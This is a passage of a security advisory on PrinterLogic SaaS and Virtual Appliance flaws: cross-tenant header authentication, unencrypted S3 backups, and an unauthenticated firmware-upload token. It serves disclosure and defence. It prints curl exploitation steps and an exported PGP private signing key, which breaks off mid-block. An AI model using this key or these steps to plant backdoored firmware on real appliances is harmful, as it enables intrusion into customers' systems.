updated 164 $password = Password::firstOrNew([ 165 'user_id' => $user_id, 166 'tenant_id' => $tenant_id, 167 ]); 168 169 //Fill Model; 170 $password->fill($validated); 171 172 //Save 173 $password->save(); 174 175 return response()->json(['success' => true], Response::HTTP_OK); 176 } 177 178 /** 179 * Endpoint to delete password records 180 * 181 * @param String $user_id ID of the user passed from the user service 182 * @param Int $tenant_id ID of the tenant 183 * 184 * @return \Illuminate\Contracts\Foundation\Application|\Illuminate\Contracts\Routing\ResponseFactory|\Illuminate\Http\Response 185 */ 186 public function destroy(string $user_id, int $tenant_id) 187 { 188 $password = Password::where('user_id', $user_id)->where('tenant_id', $tenant_id)->firstOrFail(); 189 $password->delete(); 190 return response()->noContent(); 191 } 192 }
An attacker can interact with the passwords of any user for any tenant without authentication, using the user_id
and tenant_id
variables which are public.
It was observed that the SaaS version of PrinterLogic has a critical design flaw in the authentication mechanism between the HTTP microservices. It appears that the same infrastructure is running for all the customer instances and a specific tenant ID (extracted from the subdomain or from a specific HTTP header X-Site-ID
) is used to differentiate the instances: the microservices communicate over HTTP and mainly use the X-Site-ID
HTTP header to authenticate in which instance the actions will take place.
For example, the microservices will use X-Site-ID: client
in the internal HTTP requests to change the configuration of the client
instance. If X-Site-ID: client2
is specified, the actions will take place in the client2
instance.
This is a not an authentication mechanism. An attacker finding a SSRF vulnerability or able to add custom HTTP headers in the existing HTTP requests can take control of any instance running in the SaaS version by using the additional HTTP header X-Site-ID: target-instance
.
There is also another HTTP header X-Printerlogic-MS-Auth-Key
containing a key but from the source code, this HTTP header is identical for all the instances (e.g. client1
, client2
and any other customer will use the same X-Printerlogic-MS-Auth-Key
key).
For example, in the var/www/app/app/Http/Controllers/UserAttributeController.php
file, only the X-Site-ID
is used to store information regarding the user (coming from the HTTP request):
Content of /var/www/app/app/Http/Controllers/UserAttributeController.php
with:
X-Site-ID
;X-Site-ID
header.1 <?php [...] 84 public function store(UserAttributeRequest $request, $id) 85 { 86 try { 87 // retrieve user 88 $isIdp = $request->get('isIdp', false); 89 $user = User::getUserByIdentifier($id, $isIdp); 90 91 $isLdap = strtolower($user->source_service_type) === "ldap"; 92 93 $attributes = $request->get('userAttributes'); 94 95 foreach ($attributes as $data) { 96 // check to make sure attribute is valid 97 UserAttribute::validateAttribute($data['attribute'], $data['value']); 98 99 // If a badge id is one of the attributes, fire a add badge event to store badge in legacy pi table 100 if ($data['attribute'] == 'badge-id') { 101 $missingFields = ''; 102 $siteId = $request->header('X-Site-ID'); // [1] - use of the HTTP header X-Site-ID 103 if (empty($siteId)) { 104 $missingFields .= 'site id,'; 105 } 106 if (empty($user->user_login_name)) { 107 $missingFields .= 'user login name,'; 108 } 109 // Currently only LDAP requires a domain. 110 if (empty($user->domain) && $isLdap) { 111 $missingFields .= 'domain,'; 112 } 113 if (empty($data['value'])) { 114 $missingFields .= 'badge id'; 115 } 116 117 if (!empty($missingFields)) { 118 $missingFields = rtrim($missingFields, ','); 119 $errorMessage = sprintf( 120 'Unable to register badge with PI, following fields not set: %s', 121 $missingFields 122 ); 123 Log::error($errorMessage); 124 return $this->errorResponse( 125 $errorMessage, 126 self::FAILED_ATTRIBUTE_SAVE_ERROR 127 ); 128 } 129 $username = $user->user_login_name; 130 if ($isLdap) { 131 $user->replaceDomainWithMsdsDomainIfExists(); 132 $username = $user->domain . '\\' . $username; 133 } 134 $payload = [ // [2] use of the HTTP header X-Site-ID 135 'siteId' => $siteId, 136 'username' => $username, 137 'badgeId' => $data['value'], 138 ]; 139 event(new AddBadgeEvent($payload));
The PHP file /var/www/app/api-gateway/Apis/MicroserviceApi.php
confirms that the same X-PrinterLogic-MS-Auth-key
variable is used in all the instances inside the SaaS version.
Consequently, only 2 variables are used to authenticate a tenant instance inside the SaaS infrastructure:
X-Site-ID
, public value corresponding to the subdomain if the X-Site-ID
HTTP header is not set (e.g. client1
for the client1
instance, client2
for the client2
instance) - this is the main authentication mechanism;X-PL-Instance-ID
, public value corresponding to the tenant ID - this does not seem to be widely used in the source code files.Content of /var/www/app/api-gateway/Apis/MicroserviceApi.php
with the headers used on lines 62 and 63:
1 <?php [...] 15 /** 16 * Base class for all of the individual microservice APIs 17 */ 18 class MicroserviceApi 19 { 20 use ApiResponse; 21 22 protected $domain; 23 protected $verifySsl; 24 protected $siteid; 25 protected $tenantId; 26 27 /** 28 * Constructor 29 * 30 * @param string $domain - host name of the real endpoint 31 * @param bool $verify - whether to verify SSL connection 32 * @param string $siteIdOverride - if null, then we'll use the App::getSiteId() 33 */ 34 public function __construct($domain, $verify, $siteIdOverride = null) 35 { 36 $this->domain = $domain; 37 $this->verifySsl = $verify; 38 $this->siteid = $siteIdOverride ? $siteIdOverride : App::getSiteId(); 39 40 $catalogService = app(CatalogService::class); 41 $tenantId = $catalogService->getCurrentTenantId() ?? ''; 42 $this->tenantId = (string)$tenantId; 43 } 44 45 /** 46 * Make the actual request 47 * 48 * @param string $url - relative path of the endpoint (not including hostname) 49 * @param string $method - HTTP method 50 * @param array $request - Request body 51 * @param array $headers - Request headers 52 * 53 * @return Response 54 */ 55 protected function makeRequest($url, $method = 'GET', $request = [], $headers = []) 56 { 57 $defaultRequest = [ 58 'verify' => $this->verifySsl, 59 ]; 60 $defaultHeaders = [ 61 // headers that come in have been lower-cased, so to merge properly, we must be also 62 'x-printerlogic-ms-auth-key' => config('auth.microservice_auth_key'), // [1] static x-printerlogic-ms-auth-key 63 'x-site-id' => $this->siteid, // [2] subdomain or value extracted from the X-Site-ID HTTP header 64 'X-PL-Instance-ID' => $this->tenantId, 65 ]; 66 67 $request = array_merge($defaultRequest, $request); 68 $request['headers'] = array_merge($defaultHeaders, $headers); 69 $url = $this->domain . $url; 70 71 Log::debug(sprintf('[API-Gateway] %s %s', $method, $url)); 72 $client = new Client(); 73 $response = $client->request($method, $url, $request); 74 75 return $response; 76 }
For example, the edition of a user is entirely based on the X-Site-ID
variable in the HTTP request in the /var/www/app/app/Http/Controllers/UserController.php
file:
Content of /var/www/app/app/Http/Controllers/UserController.php
:
[...] 456 /** 457 * Store a newly created resource in storage. 458 * 459 * @param UserRequest $request User data to store 460 * 461 * @return \Illuminate\Http\Response | \Illuminate\Http\JsonResponse 462 * 463 * @throws InvalidAttributeIdException 464 * @throws InvalidAttributeKeyException 465 * @throws InvalidAttributeValueException 466 * @throws UserAttributeSaveException 467 */ 468 public function store(UserRequest $request) 469 { 470 $data = $request->get('user'); 471 472 // convert all data to snake case 473 $data = StringHelper::toSnakeCase($data, true); 474 475 $data['site_id'] = $request->header(CustomHttpHeaders::HEADER_SITE_ID); 476 477 // create the user 478 $user = $this->service->create($data); 479 $response = fractal()->create() 480 ->item($user) 481 ->transformWith(new UserTransformer()) 482 ->withResourceName('user') 483 ->toArray(); 484 485 return response()->json($response, HttpResponse::HTTP_CREATED); 486 } [...] 548 /** 549 * Update the specified resource in storage. 550 * 551 * @param UserRequest $request User data to update 552 * @param int $id Id of user to update 553 * 554 * @return \Illuminate\Http\Response | array 555 */ 556 public function update(UserRequest $request, $id) 557 { 558 $data = $request->get('user'); 559 $data['site_id'] = $request->header(CustomHttpHeaders::HEADER_SITE_ID); 560 $allowUpsert = $request->header('X-PrinterLogic-AllowUpsert', false); 561 562 // Check user record exists in table before trying to update it 563 $user = User::where('id', $id)->first(); 564 if (!$user && $allowUpsert) { 565 Log::debug(sprintf('Record [%s] does not exist, upserting user.', $id)); 566 return $this->store($request); 567 } elseif (!$user) { 568 return $this->errorResponse( 569 sprintf('Record [%s] does not exist.', $id), 570 'INVALID-USER', 571 HttpResponse::HTTP_NOT_FOUND 572 ); 573 } 574 575 $user = $this->service->update($id, $data); 576 577 return fractal()->create() 578 ->item($user) 579 ->transformWith(new UserTransformer()) 580 ->withResourceName('user') 581 ->toArray(); 582 }
An attacker with SSRF vulnerabilities or able to add additional HTTP headers in the internal request (e.g. by including CRLF characters) can control any instance.
There is a high risk of cross-tenant vulnerabilities since the authentication mechanism of instances seems to be weak.
It was observed that backup files are stored in clear-text inside the s3DbBackup
AWS Bucket.
The tarball is generated from the /var/www/app/Console/Commands/BackupPrinterInstaller.php
PHP script on line 54 and uploaded into the s3DbBackup
AWS Bucket on line 62.
There is no encryption, the SQL dump is just gzipped on line 54:
Content of /var/www/app/Console/Commands/BackupPrinterInstaller.php
:
22 class BackupPrinterInstaller extends Command 23 { 24 /** 25 * The name and signature of the console command. It needs which database to backup and a unique key to be passed. 26 * 27 * @var string 28 */ 29 protected $signature = 'printer-logic:backup-printer-installer {schema} {unique_key}'; 30 31 /** 32 * The console command description. 33 * 34 * @var string 35 */ 36 protected $description = 'Backup the Printer Installer Database'; 37 38 /** 39 * Execute the console command. 40 * 41 * @return void 42 */ 43 public function handle() 44 { 45 $schema = $this->argument('schema'); 46 $uniqueKey = $this->argument('unique_key'); 47 $file = $schema . "_" . $uniqueKey . "_database.sql.gz"; 48 $fileHandle = null; 49 50 Log::notice("COMMAND START: " . implode(",", $this->arguments())); 51 try { 52 $this->info("Initiating Database backup for ... $schema"); 53 54 $dumper = $this->createMySqlDbDumper($schema); 55 $dumper->useCompressor(new GzipCompressor()) 56 ->addExtraOption('--set-gtid-purged=OFF') 57 ->dumpToFile($file); 58 59 // Open the file stream to avoid loading the entire file into memory at once. 60 $fileHandle = fopen($file, 'r'); 61 // Save to S3 62 $success = Storage::disk('s3DbBackup')->put($file, $fileHandle); 63 Log::debug("Did upload to s3 work? $success"); 64 if (!$success) { 65 throw new AwsException("Failed to save $schema to S3", 424); 66 } [...] 81 82 /** 83 * Function createMySqlDbDumper This creates a PrinterLogicMySql object that is ready to be used doing 84 * all the necessary setup. MySql inherits from DbDumper and is the MySql implementation of DbDumper. 85 * 86 * @param string $dbName Name of database to backup 87 * 88 * @return DbDumper 89 */ 90 public function createMySqlDbDumper(string $dbName): DbDumper 91 { 92 //startDBProxy returns connection name or false 93 $connectionName = Saas::startDBProxy($dbName, false, false, false); 94 95 $dbConfig = config("database.connections.{$connectionName}"); 96 if (is_null($dbConfig)) { 97 throw Exception("Connection does not exist: " . $dbName); 98 } 99 $dbHost = Arr::get($dbConfig, 'read.host', Arr::get($dbConfig, 'host')); 100 $dbDumper = App::make(PrinterLogicMySql::class); 101 $dbDumper->setHost($dbHost ?? '') 102 ->setDbName($dbName) 103 ->setUserName($dbConfig['username'] ?? '') 104 ->setPassword($dbConfig['password'] ?? ''); 105 if (isset($dbConfig['port'])) { 106 $dbDumper = $dbDumper->setPort($dbConfig['port']); 107 } 108 if (isset($dbConfig['dump'])) { 109 $dbDumper = static::processExtraDumpParameters($dbConfig['dump'], $dbDumper); 110 } 111 return $dbDumper; 112 } 113 }
The restore script /var/www/app/Console/Commands/RestorePrinterInstaller.php
also does not include any decryption mechanism (on line 109):
Content of /var/www/app/Console/Commands/RestorePrinterInstaller.php
:
24 class RestorePrinterInstaller extends Command 25 { [...] 40 protected $description = 'Restore the Printer Installer Database'; 41 42 public const RETRIEVAL_DISK = 's3DbBackup'; 43 public const ERR_EXCEPTION = -1; 44 public const ERR_AWS_EXCEPTION = -2; 45 public const ERR_EXISTING_DATABASE_EXCEPTION = -3; 46 public const ERR_MISSING_FILE_EXCEPTION = -4; 47 public const ERR_COMMAND_EXECUTION_EXCEPTION = -5; 48 49 50 / 51 * Execute the console command. 52 53 * @return void 54 / 55 public function handle() 56 { 57 $schema = $this->argument('original_schema_name'); 58 $restoreSchema = $this->argument('restore_schema_name'); 59 $uniqueKey = $this->argument('unique_key'); 60 $s3file = $schema . "" . $uniqueKey . "_database.sql.gz"; 61 62 Log::notice("COMMAND START: " . implode(",", $this->arguments())); 63 try { 64 $this->info("Initiating Database backup for ... $schema"); 65 66 $exists = Storage::disk(self::RETRIEVAL_DISK)->exists($s3file); 67 // If the file doesn't exist add the db prefix on and try again. 68 if (!$exists) { 69 $s3file = config('saas.database_prefix', 'pi') . $s3file; 70 $exists = Storage::disk(self::RETRIEVAL_DISK)->exists($s3file); 71 } 72 73 if (!$exists) { 74 $this->error("The file is missing"); 75 return self::ERR_MISSING_FILE_EXCEPTION; 76 } 77 $this->info("I found the file $s3file on s3"); 78 79 $dbName = Saas::getDBName($restoreSchema); 80 // Sets up a database proxy for the new connection so we can connect to the mysql server. 81 82 Saas::startDBProxyForNonExistentSite($dbName, true); 83 84 $this->info("dbName " . $dbName); 85 86 // Create schema if doesn't exist 87 MysqlService::createSchemaIfItDoesntExist($dbName); 88 89 // Check if License table exists in schema. 90 $exists = MysqlService::hasTableInSchema($dbName, 'license'); 91 // If the license table exists abort since the restore is going to overwrite an existing database. 92 if ($exists) { 93 $this->error("Trying to restore $dbName over an existing database"); 94 return self::ERR_EXISTING_DATABASE_EXCEPTION; 95 } 96 97 $fileUrl = Storage::disk(self::RETRIEVAL_DISK)->temporaryUrl($s3file, now()->addMinutes(15)); 98 99 // Get variables to use in the mysql command. 100 $connection = DB::connection(); 101 $dbHost = $connection->getConfig('host'); 102 $userName = $connection->getConfig('username'); 103 $password = $connection->getConfig('password'); 104
105 $this->info("URL $fileUrl");
106 // pull down the file with curl passing the silent (-s) flag
107 // then pipe it into gunzip then pipe the results into mysql 108 $command = 109 "curl -s '$fileUrl' | gunzip | mysql --user='$userName' --password='$password' --host=$dbHost $dbName"; 110 $returnVar = null; 111 $output = null; 112 // Execute the mysql command so we can stream the file instead of loading it to memory then passing it 113 // to mysql. 114 exec($command, $output, $returnVar);
The backup files are not encrypted and are stored inside the s3DbBackup
AWS Bucket.
If the AWS keys are exposed (e.g. using SSRF vulnerabilities), the clear-text backups can be downloaded by attackers.
Note: In February 2024, Vasion replied that this reported issue is a false positive:
This code is not used to encrypt data. All data sent to S3 buckets is encrypted during encapsulation and encrypted at rest once within our VPC.
Printerlogic VA version
Printerlogic VA version
It was observed that a specific webpage is reachable without authentication. This webpage provides a temporary token allowing an attacker to upload a malicious firmware image and overwrite the original firmware image running in the appliance. No credentials are required.
The firmware images are encrypted with the PrinterLogic Virtual Appliance Team no-reply+virtualappliance@printerlogic.com
GPG key that can be freely extracted from the appliance. An attacker can simply download an update file, decrypt it, modify it by adding a backdoor, encrypt it with the GPG key and upload it using the temporary token. The malicious image will be then installed.
By visiting the webpage /admin/design/management_accountts_pcabout.php
, the attacker will retrieve the secret token allowing uploading a new firmware image and installing it in the appliance:
Secret token allowing overwriting the firmware image:
kali% curl -kv http://10.105.0.60/admin/design/management_accountts_pcabout.php * Trying 10.105.0.60:80... * Connected to 10.105.0.60 (10.105.0.60) port 80 > GET /admin/design/management_accountts_pcabout.php HTTP/1.1 > Host: 10.105.0.60 > User-Agent: curl/8.4.0 > Accept: */* > < HTTP/1.1 500 Internal Server Error < Cache-Control: no-cache, private < Content-Security-Policy: frame-ancestors 'self' < Content-Type: text/html; charset=UTF-8 < Date: Tue, 26 Dec 2023 13:03:46 GMT < Server: nginx < X-Content-Type-Options: nosniff < X-Frame-Options: SAMEORIGIN < X-Xss-Protection: 1; mode=block < Transfer-Encoding: chunked < About PrinterLogic Virtual Appliance id="va-react-content" versions='{"appliance":{"previous":"unavailable","current":"20.0.2140","latest":"unavailable","date":"01\/01\/1970"},"host":{"current":"22.0.893","latest":"unavailable"},"updating":{"toVersion":""}}' date='12/13/2023' updateAvailable='' apiSign='$2y$10$G6ykZQ5JwnrxCIiGLqEoA.MCQ6AmQAxSfSLk3dlnc5rwYH/o.0/OG' apiTimeStamp='2023-12-26 13:03:46' gwUrl='http://gw.10.105.0.60' [...]
Then, the attacker can install backdoors in an existing official image using the following GPG key (found in the appliance).
Steps:
Depacking of an official image:
kali# cp -r /dev/shm/./var-lib-docker/overlay2/af043a538447c099c971ed713f9d7cf8e5987ba0e52df08844e0a255b177c582/diff/home/ubuntu//.gnupg /home/user/
kali% gpg --list-secret-keys
/home/user/.gnupg/pubring.kbx
-----------------------------
sec# rsa4096 2020-01-23 [SC]
CADA0B06D8ADA5A72C52F5FB09BD9E367DA10998
uid [ultimate] PrinterLogic Virtual Appliance Team <no-reply+virtual-appliance@printerlogic.com>
ssb rsa4096 2020-01-23 [E]
ssb# rsa4096 2020-01-23 [S]
kali% #gpg --export-secret-keys -a > export.asc
[50370a0d-65b4-4b2a-a2a2-ea0d6ff35ef4]
kali% cat export.asc
-----BEGIN PGP PRIVATE KEY BLOCK-----
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
